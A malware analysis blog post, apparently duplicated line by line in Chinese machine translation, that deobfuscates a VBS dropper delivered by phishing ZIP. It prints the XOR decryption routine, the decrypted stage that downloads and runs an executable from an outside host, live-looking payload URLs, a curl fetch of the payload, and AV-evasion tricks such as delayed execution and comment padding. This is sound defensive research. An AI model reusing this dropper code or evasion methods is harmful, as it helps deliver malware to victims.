vbs恶意脚本
Recently, I was willingly forwarded a phishing email (for science!) which contained a ZIP attachment, requesting the recipient to update their contact information:
最近,我很乐意转发一封包含ZIP附件的网络钓鱼电子邮件( 用于科学! ),要求收件人更新其联系信息:
The hyperlink pointed to https://weitblicker.com/wp-content/uploads/2019/10/goes/JVC_83860.zip . Inside this ZIP, was a heavily obfuscated VBS file (found [here] if you’d like to follow along).
指向https://weitblicker.com/wp-content/uploads/2019/10/goes/JVC_83860.zip的超链接 。 在此ZIP文件中,是一个高度混淆的VBS文件(如果您想继续,请在[ 此处 ]找到)。

The VBS seemed to employ numerous techniques to make analysis very difficult. First, the file used many commented random strings which due to the string length (an example can be seen above) seemed to crash or bog down numerous tools. Secondly, various decoy functions masked the true execution chain from being quickly visible. Lastly, the actual data for execution is obfuscated and encrypted.
VBS似乎采用了许多技术来使分析变得非常困难。 首先,该文件使用了许多带注释的随机字符串,由于字符串的长度(可以在上面看到一个示例),该字符串似乎崩溃或使许多工具陷入困境。 其次,各种诱饵功能掩盖了真正的执行链,使它们无法快速可见。 最后,对执行的实际数据进行加密和加密。
My process of manually investigating this VBS script started with dealing with the large comment blocks. Deftly, I wrote some simple python (see picture below) to remove any line beginning with a single quotation mark ('
), so the viewing of the VBS would be much easier (found [here]):
我手动研究此VBS脚本的过程始于处理大型注释块。 确实,我编写了一些简单的python(请参见下图)以删除以单引号( '
)开头的任何行,因此查看VBS会容易得多(在[ here ]找到):

Now that the remaining VBS could load into a text editor without threatening to cause massive blackouts along the east coast (really just freezing my sandbox), I began to study the execution chain of the VBS. The first thing that caught my eye was the initial error bypass at the top of the script, On Error Resume Next
. This would allow the code to continue if an error occurs, such as “a variable not declared” caught during execution of the script. Below this declaration was yet another clue in what the actual execution chain actually was. Anywhere these variables were assigned a value or called would indicate an actual operation performed in the execution of the malware. The next line was the first in many various fluff operations whose only goal was to clutter the script in an attempt to obfuscate the execution routine of the malware from analysis. (I also ponder whether the extra fluff may aid in evasion of automated scanning utilities due to its size).
现在,剩余的VBS可以加载到文本编辑器中,而不会威胁到东海岸的大规模停电(实际上只是冻结了我的沙箱),我开始研究VBS的执行链。 引起我注意的第一件事是脚本顶部的On Error Resume Next
最初的错误旁路。 如果发生错误(例如在脚本执行期间捕获到“ 未声明的变量 ”),这将允许代码继续执行。 在此声明之下是实际执行链实际上是什么的另一个线索。 在为这些变量分配值或调用它们的任何位置,都将指示在执行恶意软件时执行的实际操作。 下一行是许多绒毛操作中的第一行,其唯一目的是使脚本混乱,以期从分析中混淆恶意软件的执行例程。 (我也考虑过多余的绒毛是否会因为其大小而有助于逃避自动扫描工具的使用)。

After visually inspecting the entire script, I then decided to start at the very bottom and work my way back up. Understanding that RQa
, eBAb
, Fcb
, UeS
, qFf
were the only variables declared via dim
at the top (and anywhere) in the script, I figured I could ignore the operations below the line eXEcUTegLObAL qFf
.
在视觉上检查了整个脚本之后,我决定从最底层开始,然后重新开始。 了解RQa
, eBAb
, Fcb
, UeS
, qFf
是脚本中顶部(和任何位置)通过dim
声明的唯一变量,我认为我可以忽略eXEcUTegLObAL qFf
行下面的操作。

Ok, so, executeGlobal? It would appear that this call in VBScript allows one to execute statements passed to the call in the current namespace [1]. In the context of this script, passing whatever is contained in qFf
will be executed. Above this, ignoring the fluff, there is a WScript.Sleep
call, which sleeps execution the number of milliseconds passed to the call. Searching for the variable nREy
, I found the following assignment:
好吧,那么executeGlobal吗? 看起来,VBScript中的此调用允许执行在当前名称空间[ 1 ]中传递给该调用的语句。 在此脚本的上下文中,将执行传递qFf
包含的任何内容。 在此之上,忽略了绒毛,有一个WScript.Sleep
调用,该调用使传递给该调用的毫秒数处于Hibernate状态。 搜索变量nREy
,我发现了以下分配:
nREy = 367–266–20 + 302–14 + 25–18 + 24–21 + 384–360–352–440 + 6 + 251 + 30132
Solving this, it is apparent that the script sleeps for 30,000 ms (30 seconds) before executing the executeGlobal call as a means to potentially bypass AV sandboxes. After this discovery, I also determined it may be best to highlight only the assignments of variables that were actually declared in order to shut out the noise.
解决此问题的方法很明显,该脚本在执行executeGlobal调用之前会Hibernate30,000 ms(30秒),以作为可能绕过AV沙箱的方法。 在发现之后,我还决定最好只突出实际声明的变量的分配,以消除噪音。

Jumping back down to the bottom, I continued my trek back up the script. Three consecutive calls to a function NpNt
were made, assigning a value to the qFf variable.
回到底部,我继续跋涉回到脚本上。 对函数NpNt
进行了三个连续调用,为qFf变量分配了一个值。

Skipping up to the function itself, the following is seen:
跳到函数本身,可以看到以下内容:

By removing the extra operations and simplifying the math in the if / else trees, the function becomes:
通过删除多余的操作并简化if / else树中的数学运算,该函数将变为:

To help understand the execution flow, I renamed CTS
to crypted
, V1VI
to key
, and the function NpNt
to decrypt
, and EAlt
to XOR_func
. I know I jumped the gun a bit, but I’ll explain EAlt
in a minute. The function seems to step character by character, seeing if the character is “1” (48) through “9” (57), XOR’ing that with a given key, then appending the char value to a placeholder string, which is then returned. In summary, every numeric value in the encrypted string is XOR’d with the given key. As promised, here is the original version of EAlt
:
为了帮助理解的执行流程,我改名CTS
到crypted
, V1VI
到key
和功能NpNt
来decrypt
,并EAlt
到XOR_func
。 我知道我跳了一下枪,但是我会在一分钟内解释EAlt
。 该函数似乎一步一步地执行字符操作,查看字符是否为“ 1”(48)至“ 9”(57),然后使用给定键对该字符进行异或,然后将char值附加到占位符字符串,然后回来。 总而言之,加密字符串中的每个数字值都将与给定密钥进行异或。 如所承诺的,这是EAlt
的原始版本:

Even without simplifying the function it is apparent the function is merely returning the XOR of two values. Still, here is the simplified version:
即使不简化函数,显然函数也只是返回两个值的XOR。 不过,这是简化版本:

Armed now with the understanding of the decryption routine, I returned to the place I left near the bottom. Again, I saw 3 rounds of decryption, but this time with another string. Here, I also saw additional variables being assigned values for use in the execution, so as above I continued marking them as important. This continued up the script until I was met with the string JHm
, for which I conveniently renamed to salt_string
. After going over the lines earmarked with “ '!!!
” a few times to ensure I hadn’t skipped any, I copied over a much simplified version of the VBS [full code here]:
现在有了对解密例程的了解之后,我回到了靠近底部的地方。 同样,我看到了3轮解密,但是这次是另一个字符串。 在这里,我还看到了为其他变量分配了用于执行的值,因此如上所述,我继续将其标记为重要。 这继续执行脚本,直到遇到字符串JHm
,为此我方便地将其重命名为salt_string
。 经过标有“ ' !!!
”的行之后 几次以确保我没有跳过任何内容,我复制了一个非常简化的VBS版本[ 此处为完整代码]:
On Error Resume Next
dim crypt_string_1, crypt_string, UeS, embeddedcrypt_string_1 = “6RE0POgBnj23]11@(123yX121+X7 D4<j?V14oqpH¹⁷DPjj=%86 lw.G9CY4|h17<12{mj97/*(tl91x$2qtC9MK.W-17
…
D123h,6ue4#bm96e13Ie:/90R127v*PY}64w6kv;b6jsy66;o96k~Q17xHR3:tjbl 8Il g*123F$n~(108=:”crypt_string = “7hu] Zp8.b^W70I96}{r^*92NH@g$W23Y [O]26pRn)119g 9 H6XIle119k?r127)4w])-P105!9Or&O5PMh27 P16%<6brP9agUW-
…
~:7.s6kV |s 117$iN110GM/tE72zw&90hz-tz119#OHXeb6BL T*2 <Bk117y#esV⁷⁹ICk)27I8 Nft3*%-56n111bi)o101ts U99)m”function decrypt(crypted, key)
On Error Resume NextUUf = crypted
sJs = “” ‘!!!
wWLu = “”
FETw = 1for i=1 to len(UUf)
if ( asc(mid(UUf, i, 1)) > 47 and asc(mid(UUf, i, 1)) < 58 ) then
sJs = sJs + mid(UUf, i, 1) ‘!!!
FETw = 1
else
if FETw = 1 then
NEL = CInt(sJs) ‘!!!
VIxJ = XOR_Func(NEL, key) ‘!!!
wWLu = wWLu + Chr(VIxJ) ‘!!!
end if
sJs = “”
FETw = 0
end if
vkB = bEBk or CFcnext
decrypt = wWLu
end functionfunction XOR_Func(qit, ANF)
On Error Resume Next
sCLx = qit xor ANF
XOR_Func = sCLx
end functionsleeper = 30000salt_string = “C6hgj1I6rLntt9yp40AlGkkiDYvoPq0Ca3HoxUgnVzzpA9QuuUlwxwqdHrvij5JsD9CrXaQHE1eciRkGuseHy7yFOUumRC1KqXyub6gzUbd5c4esDU7Ti5Bdr7
…AYJh217uJjkbv8Xmcn4cF3rJoYJoLnag7BnHawAypYvFbujSUVNbaRBLJdlHxU45bLrWHvrvkfEProXdyeBdm5Y66COZcruLjvYKn0wYKVxCc”qrB = 13
Rha = 8For i = 0 To 2387406 Step 1
gxa = gxa + qrB — Rha ‘ 13–8 plus previous gxa value ‘!!!
Next
xmh = 999999
gxa = gxa * xmh ‘!!!
tcA = CStr(gxa) ‘!!!
rWd = Mid(tcA, 7, 2)
ncA = CInt(rWd) ‘!!!
rgcQ = Asc(Mid(salt_string, ncA, 1)) ‘!!!
rWd = Mid(tcA, 8, 2) ‘!!!
ncA = CInt(rWd) ‘!!!
kdJO = Asc(Mid(salt_string, ncA, 1)) ‘!!!
rWd = Mid(tcA, 9,2) ‘!!!
ncA = CInt(rWd) ‘!!!
NIjg = Asc(Mid(salt_string, ncA, 1)) ‘!!!
UeS = decrypt(crypt_string_1, NIjg) ‘!!!
UeS = decrypt(UeS, kdJO) ‘!!!
UeS = decrypt(UeS, rgcQ) ‘!!!
WScript.Echo UeS ‘ added so I can view UeS
embedded = decrypt(crypt_string, NIjg) ‘!!!
embedded = decrypt(embedded, kdJO) ‘!!!
embedded = decrypt(embedded, rgcQ) ‘!!!
WScript.Sleep sleeper '!!! Sleep 30 seconds
Wscript.Echo embedded 'added so I can see embedded
‘eXEcUTegLObAL embedded 'execute embedded VBScript — commented out so it will not run
I felt pretty confident that I understood what the execution chain of the script was doing, so I now opened the script in Visual Studio for debugging by issuing the command:
我非常有信心了解脚本的执行链在做什么,因此现在我通过发出以下命令在Visual Studio中打开脚本进行调试:
cscript /X <script.vbs>
Upon setting a breakpoint on the final call of the script, the values of UeS
and embedded
(was qFf
) can be seen:
在脚本的最终调用上设置断点后, UeS
和embedded
的值 (是qFf
)可以看到:


on error resume next
arr=split(UeS,”___”)
set a=WScript.CreateObject(arr(0))
set b=WScript.CreateObject(arr(1))
f=a.ExpandEnvironmentStrings(arr(2))&arr(3)
set c=a.CreateShortcut(f)
c.TargetPath=arr(4)
c.Save
if b.FileExists(f)=false Then
e=a.ExpandEnvironmentStrings(arr(2))&arr(5)
Call u
sub u
set d=createobject(arr(6))
set w=createobject(arr(7))
d.Open arr(8),arr(9),False
d.setRequestHeader arr(10),arr(11)
d.Send
with w
.type=1
.open
.write d.responseBody
.savetofile e,2
end with
end sub
WScript.Sleep 60000
a.Exec(e)
end if
As seen above, it was apparent that the values of UeS
(broken out below) are fed into the embedded code block. Then with some string manipulation, a file (“VideoBoost.exe
”) is saved to the user’s temp folder, execution is slept for 60 seconds, and then the binary is executed.
如上所示,很明显, UeS
的值(在下面细分)被馈送到嵌入式代码块中。 然后,通过一些字符串操作,将文件(“ VideoBoost.exe
”)保存到用户的temp文件夹中,执行睡眠60秒,然后执行二进制文件。

Replacing executeGlobal with the value of embedded
, and executing the script in the same fashion (with the breakpoint set at the last WScript.Echo
as above), the final round of string obfuscation can be defeated, and the location of the executable that is dropped by this VBS dropper can be seen by stepping through the execution block:
与价值更换executeGlobal embedded
,并以同样的方式执行脚本(有断点设置在最后WScript.Echo
如上),最后一轮字符串混淆可以被打败,而被丢弃的可执行文件的位置通过逐步执行块,可以看到此VBS放置程序的效果:

It can be seen above, in theUeS
breakout, the URL the VBS dropper is fetching is “venicefcmiami.com/wp-content/uploads/2019/10/zxm/asdgysgdysffs.png?bg=spx29
”. Also, the VBS is sending a User-Agent of “Windows” and saving the response as an .exe
. Performing a curl to that URL, I was indeed provided an executable as a response:
可以在上面看到,在UeS
分组讨论中,VBS venicefcmiami.com/wp-content/uploads/2019/10/zxm/asdgysgdysffs.png?bg=spx29
正在获取的URL是“ venicefcmiami.com/wp-content/uploads/2019/10/zxm/asdgysgdysffs.png?bg=spx29
”。 另外,VBS正在发送“ Windows”的用户代理,并将响应另存为.exe
。 对URL进行卷曲,确实为我提供了一个可执行文件作为响应:
$ curl — user-agent “Windows” http://venicefcmiami.com/wp-content/uploads/2019/10/zxm/asdgysgdysffs.png?bg=spx29 — output 1.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 724k 100 724k 0 0 298k 0 00:00:02 0:01:12 — : — : — 298k$ file 1.exe
1.exe: PE32 executable (GUI) Intel 80386, for MS Windows
Submitting this executable to VirusTotal, I was provided the following (If you’d like to deep dive into this file, the SHA-256 is b970241209f848d51ac37a68ae92c90b2c704b343c66e4f9a849390be5d4c2f3
):
将此可执行文件提交给VirusTotal ,向我提供了以下信息(如果您想深入了解此文件,则SHA-256为b970241209f848d51ac37a68ae92c90b2c704b343c66e4f9a849390be5d4c2f3
):


Interesting enough, submitting the VBS dropper from the ZIP file in VirusTotal provided these details (SHA-256 is 0b3cc47c138842bb41b32c9ac1118e8aca0d7b7e8550cbf34ff272023854094a
):
足够有趣的是,从VirusTotal中的ZIP文件提交VBS 0b3cc47c138842bb41b32c9ac1118e8aca0d7b7e8550cbf34ff272023854094a
提供了这些详细信息(SHA-256为0b3cc47c138842bb41b32c9ac1118e8aca0d7b7e8550cbf34ff272023854094a
):

As suggested earlier, the evasion techniques of sleep, long comments, bogus operations, and string encryption seem to bypass detection on numerous AV platforms (Windows Defender did not seem to care about the VBS dropper either in my personal sandbox either).
如前所述,逃避睡眠,长注释,虚假操作和字符串加密的技术似乎绕过了许多AV平台上的检测( Windows Defender似乎也不在乎我个人沙箱中的VBS放置器 )。
Some final points: yes, a simple WScript.Echo
could have been placed right after the final assignment of UeS
or qFf
variables and provide much of the same information (but would it have been as much fun?); yes, I would highly suggest not running this or any piece of malware no matter how defanged you believe it is on a production (or non-sandbox) system; and finally, yes, VBS malware still exists in 2020!
最后几点: 是的 ,可以在最终分配UeS
或qFf
变量之后放置一个简单的WScript.Echo
并提供许多相同的信息( 但是会带来很多乐趣吗? ); 是的 ,我强烈建议不要运行此恶意软件或任何恶意软件,无论您认为它在生产(或非沙盒)系统上的运行状况如何。 最后, 是的,VBS恶意软件在2020年仍然存在!

If I get around to it, I’d like to break down the executable that is fetched, but for now, I leave that as an exercise for the reader. Happy hunting!
如果可以解决它,我想分解获取的可执行文件,但是现在,我将其作为练习留给读者。 狩猎愉快!
REFERENCES
参考资料
1 — https://www.vbsedit.com/html/25ebfa26-d3b9-4f82-b3c9-a8568a389dbc.asp
1- https://www.vbsedit.com/html/25ebfa26-d3b9-4f82-b3c9-a8568a389dbc.asp

Website: www.maveris.com
网站: www.maveris.com
Email: info@maveris.com
电子邮件:info@maveris.com
Maveris exists to help your organization reach its fullest potential by providing thought leadership in IT and cyber so you can connect fearlessly. To learn more visit us at: www.maveris.com
Maveris的存在是为了通过提供IT和网络方面的思想领导力来帮助您的组织发挥最大潜力,从而使您无所畏惧地进行联系。 要了解更多信息,请访问: www.maveris.com
翻译自: https://medium.com/maverislabs/analysis-of-a-vbs-malware-dropper-2e1705da9510
vbs恶意脚本